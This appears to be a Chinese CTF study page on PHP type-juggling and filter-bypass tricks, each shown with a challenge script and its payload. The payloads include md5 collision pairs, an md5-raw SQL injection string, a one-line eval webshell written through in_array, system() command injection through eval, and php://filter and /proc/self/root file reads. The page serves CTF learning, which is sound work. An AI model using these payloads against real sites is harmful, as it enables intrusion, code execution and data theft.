跳转至

函数Tricks

is_numeric

这个函数就不必多说了,好吧懂英语你就懂了!!!

来个简单的测试

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

发现下面这些都是测试通过的字符

%09---水平定位符号

%0A---换行键 %0B---垂直定位符号 %0C---换页键 %0D---归位键 %2B---就是加号

%20---空格

-

+

.

但是这个不是重点,重点是配合其他函数搞事情,下面这个例子trim就是一个很好的例子

trim与is_numeric

首先搬运工搬运一下官网的介绍

语法
trim(string,charlist)

参数  描述
string          必需。规定要检查的字符串。
charlist        可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

并且如果你想知道有哪些也可以运行看看

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
发现除了+-.号以外还有只剩下%0c也就是换页符了

来看一道ctf题目

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

payload:num=%0c36

preg_match

数组绕过正则表达式

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
}

官方文档中介绍如下:

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次

所以如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。

payload:num[]=1

正则表达式修饰符

首先说明下几个常见的模式:

\i 
不区分(ignore)大小写

\m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

\s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

\A
强制从目标字符串开头匹配;

\D
如果使用$限制结尾字符,则不允许结尾有换行; 

\e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 所以可以进行rce

我们来分析下嘛这一道题

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}

payload:cmd=%0aphp

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。 经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

Int_val

官方文档介绍如下:

intval ( mixed $var [, int $base = 10 ] ) : int

Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。

也可以使用科学计数法

intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格

下面这道题就可以使用上面的payload执行:

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

Hash比较缺陷

md5处理数组

if (isset($_POST['a']) and isset($_POST['b'])) {
        if ($_POST['a'] != $_POST['b'])
                if (md5($_POST['a']) === md5($_POST['b']))
                        echo $flag;
}

原因:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

Sha1处理数组

和上面一样的,可以使用数组绕过,这里更多是记录一下弱比较时可用的字符串

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

md5

md5弱比较(==比较漏洞)

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

这里再分享一篇我以前记录的WP:记录以后可能用到的MD5

这里再补充一道题

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

md5强碰撞

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
  b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

国外有个网站也有一些收集的资料:md5强碰撞收集

md5($str,true)类型绕过

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’

SELECT * FROM admin WHERE pass=’ ‘or ’ 6’

很明显可以注入了。

难点就在如何寻找这样的字符串,网上有
提供两个字符串: ffifdyop、129581926211651571912466741651878684928
但题目有长度限制,所以输入ffifdyop即可获取flag

再转成字符串:’ ’ ‘or’ 6

解析:存在 or 即代码的两边有一边为真既可以绕过,其实为垃圾代码没有任何用的。

or 后面有6,非零值即为真。既可以成功绕过。

In_array中的弱类型比较

ctf-show中的一道题

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

查看这样一个结果:

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));//返回true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));//返回false

in_array延用了php中的==,因为新加进去的随机数字每次都包含1,1存在的几率是最大的。 payload:n=1.php post:content=<?php eval($_POST[1]);?>

官方文档:PHP 类型比较表

parse_str

官方文档的介绍

parse_str — 将字符串解析成多个变量

parse_str ( string $encoded_string [, array &$result ] ) : void

如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

那么有这样一个例子,简简单单看一看就好了

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

为了加深影响这里再补充一个简简单单的web题目

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
//所以这个题我们传入v1=1 然后v3=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可

ereg---%00正则截断

没啥特别好讲解的,从一道web题目当中开启学习吧

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
//补充函数
//strrev()  字符串反转
//intval()  获取变量的整数值
//本题payload:c=a%00778
//备注:首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

is_file

php伪协议绕过is_file+highlight_file

从一道ctf题目学习

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

函数介绍:

is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

部分payload:

可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

PHP支持的字符编码

如果还过滤了filter协议怎么办呢,看下一个

多次重复/proc/self/root绕过is_file

function filter($file){
    if(preg_match('/\.\.\/|http|filter|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

还有一个野蛮人笔记

php源码分析 require_once 绕过不能重复包含文件的限制

php变量名如何非法字符

我们知道php变量命名是不允许使用点号的,但是用了点怎么半呢,看看下面的例子吧

先来看下面的例子

当我们POSTyyy.yyy=1的时候被解析为["yyy_yyy"]=> string(1) "1"

无论后面加多少个.yyy它都会被解析为_,但是yyy[yyy.yyy=1被解析为yyy_yyy.yyy

这个yyy[yyy[yyy=1yyy_yyy[yyy具体原理不清楚,没读过php源代码

$_SERVER['argv']的骚操作

1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off)

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。

因此加号+分割argv成多个部分

这里做个测试

<?php
$a=$_SERVER['argv'];
var_dump($a);
http://localhost:63342/myphptest/mytest.php?_ijt=kbaatem1e97lqblmkrg3lvk83g&a=1+yyy=3
得到结果
array(2) { [0]=> string(35) "_ijt=kbaatem1e97lqblmkrg3lvk83g&a=1" [1]=> string(5) "yyy=3" }

变量覆盖

还是从一道题当中讲解,代码审计,题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。假设$flag=flag{test123}

$error='error!';
$suces='success!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

一、通过die($error)输出

`payload:a=flag post: error=a`

此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag

二、通过die($suces)

payload:suces=flag&flag=

此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)

补充一些其他神奇姿势

路径问题

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

Payload:

下面方式在highlight_file中均等效于flag.php,也即本题的payload

/var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议

三目运算符与变量覆盖

首先看看下面这样一个代码:

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。 中间两行意义不大。 最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。 所以我们get随便传一个,然后postHTTP_FLAG=flag即可

`payload get:1=1 post:HTTP_FLAG=flag`

and与&&的区别+反射类ReflectionClass的使用

$getflag = new getflag();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('getflag')$v3");
        }
    }    
}

其实主要还是通过这道题学习了php的反射以及and的一些小特性

下面首先是讲and与$$,所以只需要保证第一个为true即可

<?php
$a=true and false and false;
var_dump($a);  //返回true
$a=true && false && false;
var_dump($a);  //返回false

下面来简单了解一下反射的相关定义与函数,感觉官方文档很详细,自己点开学习一下即可

所以得到payload:?v1=1&v2=echo new ReflectionClass&v3=;

其实还有很多种方法,因为过滤比较少,比如v1=1&v2=?><?php echols?>/*&v3=;*/,或者来个include加伪协议绕过也行

and优先级

$a = true and false;
var_dump(true and false);
var_dump($a);
最后输出的结果居然是:!!!
bool(false)::相当于是($a = true) and false;
bool(true)

附上:运算符优先级

php 异常类

还是从ctfshow当中一道题学习

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串 所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。 举两个例子

Exception
ReflectionClass

答案举例

payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')

FilesystemIterator类的使用

有时候我们就可以利用这个函数遍历当前目录或者看情况其他目录

<?php
$a = new FilesystemIterator("../../");
while ($a->valid()){ //判断是否到底
    echo $a->getFilename().'\n';
    $a->next();
}
配合下面函数
getcwd()
getcwd  取得当前工作目录
getcwd(void):string

DirectoryIterator类与glob协议遍历目录

通常可以配合RCE使用

<?php
    $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

超全局变量$GLOBALS

首先简单介绍一下超全局变量

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

还是从一道网上ctf题目进行记录

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctf/', $v1)){
            getFlag($v1,$v2);
    }

}

看到一堆过滤的头大,但是看到getFlag函数当中有两个$$,所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出

payload:
v1=ctf&v2=GLOBALS

php://filter的一些常见配合编码

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=??

这种是将字符两位两位进行交换

评论